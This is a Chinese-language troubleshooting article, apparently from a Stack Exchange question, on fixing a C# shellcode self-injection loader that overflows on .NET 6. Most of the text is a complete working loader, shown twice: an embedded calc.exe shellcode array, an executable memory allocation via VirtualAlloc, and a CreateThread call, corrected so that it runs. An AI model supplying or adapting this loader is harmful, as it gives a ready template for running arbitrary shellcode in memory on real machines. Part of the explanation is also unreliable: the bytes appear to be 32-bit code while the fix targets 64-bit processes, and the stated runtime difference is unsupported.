跨.NET版本的C# Shellcode注入问题：.NET 6调用CreateThread溢出异常

问题描述 #

使用P/Invoke实现C#版Shellcode自注入，代码在.NET Framework 4.7.2中运行正常，但在.NET 6.0调用CreateThread时抛出以下异常：

Unhandled exception. System.OverflowException: Arithmetic operation resulted in an overflow.
at System.IntPtr.op_Explicit(IntPtr value)

代码目标是将启动calc.exe的Shellcode注入当前进程并执行，原代码片段如下：

class Program
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32.dll")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32.dll")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    public enum TYPE
    {
        MEM_COMMIT = 0x00001000
    }

    public enum PROTECTION
    {
        PAGE_EXECUTE_READWRITE = 0x40
    }

    static void Main(string[] args)
    {
        byte[] buf = new byte[193] {
          0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
          0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
          0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
          0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
          0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
          0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
          0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
          0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
          0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
          0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
          0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
          0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
          0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };

        int shellcode_size = buf.Length;
        IntPtr init = VirtualAlloc(IntPtr.Zero, shellcode_size, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);
        Marshal.Copy(buf, 0, init, shellcode_size);
        IntPtr hThread = IntPtr.Zero;
        UInt32 threadId = 0;
        IntPtr pinfo = IntPtr.Zero;
        hThread = CreateThread(0, 4096, (UInt32)init, pinfo, 0, ref threadId);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
}

问题根源 #

问题核心在于**CreateThread的P/Invoke签名错误和参数类型不匹配**：

• 在64位进程中，IntPtr是8字节（64位），而UInt32仅为4字节（32位）。当VirtualAlloc返回的内存地址超出32位整数范围（0xFFFFFFFF）时，强制将IntPtr转换为UInt32会触发溢出。
• .NET Framework默认在部分场景下关闭溢出检查，而.NET 6+启用了更严格的运行时检查，导致该错误直接暴露。

修复方案 #

1. 修正CreateThread的P/Invoke签名 #

将lpStartAddress参数类型从UInt32改为IntPtr——这是Windows API中函数指针的正确对应类型：

[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
    UInt32 lpThreadAttributes,
    UInt32 dwStackSize,
    IntPtr lpStartAddress, // 替换为IntPtr
    IntPtr param,
    UInt32 dwCreationFlags,
    ref UInt32 lpThreadId);

2. 调整CreateThread调用代码 #

移除(UInt32)的强制转换，直接传入init（IntPtr类型）：

hThread = CreateThread(0, 4096, init, pinfo, 0, ref threadId);

3. 可选：优化VirtualAlloc签名提升兼容性 #

为避免大内存分配时的溢出问题，将dwSize参数改为UIntPtr（适配32/64位进程的内存大小类型）：

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(
    IntPtr lpAddress,
    UIntPtr dwSize, // 替换为UIntPtr
    UInt32 flAllocationType,
    UInt32 flProtect);

调用时转换参数类型：

IntPtr init = VirtualAlloc(IntPtr.Zero, (UIntPtr)buf.Length, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);

修复后完整代码 #

class Program
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32.dll")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32.dll")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    public enum TYPE
    {
        MEM_COMMIT = 0x00001000
    }

    public enum PROTECTION
    {
        PAGE_EXECUTE_READWRITE = 0x40
    }

    static void Main(string[] args)
    {
        byte[] buf = new byte[193] {
          0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
          0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
          0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
          0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
          0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
          0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
          0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
          0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
          0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
          0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
          0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
          0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
          0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };

        IntPtr init = VirtualAlloc(IntPtr.Zero, (UIntPtr)buf.Length, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);
        Marshal.Copy(buf, 0, init, buf.Length);
        IntPtr hThread = IntPtr.Zero;
        UInt32 threadId = 0;
        IntPtr pinfo = IntPtr.Zero;
        hThread = CreateThread(0, 4096, init, pinfo, 0, ref threadId);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
}

内容的提问来源于stack exchange，提问作者EfM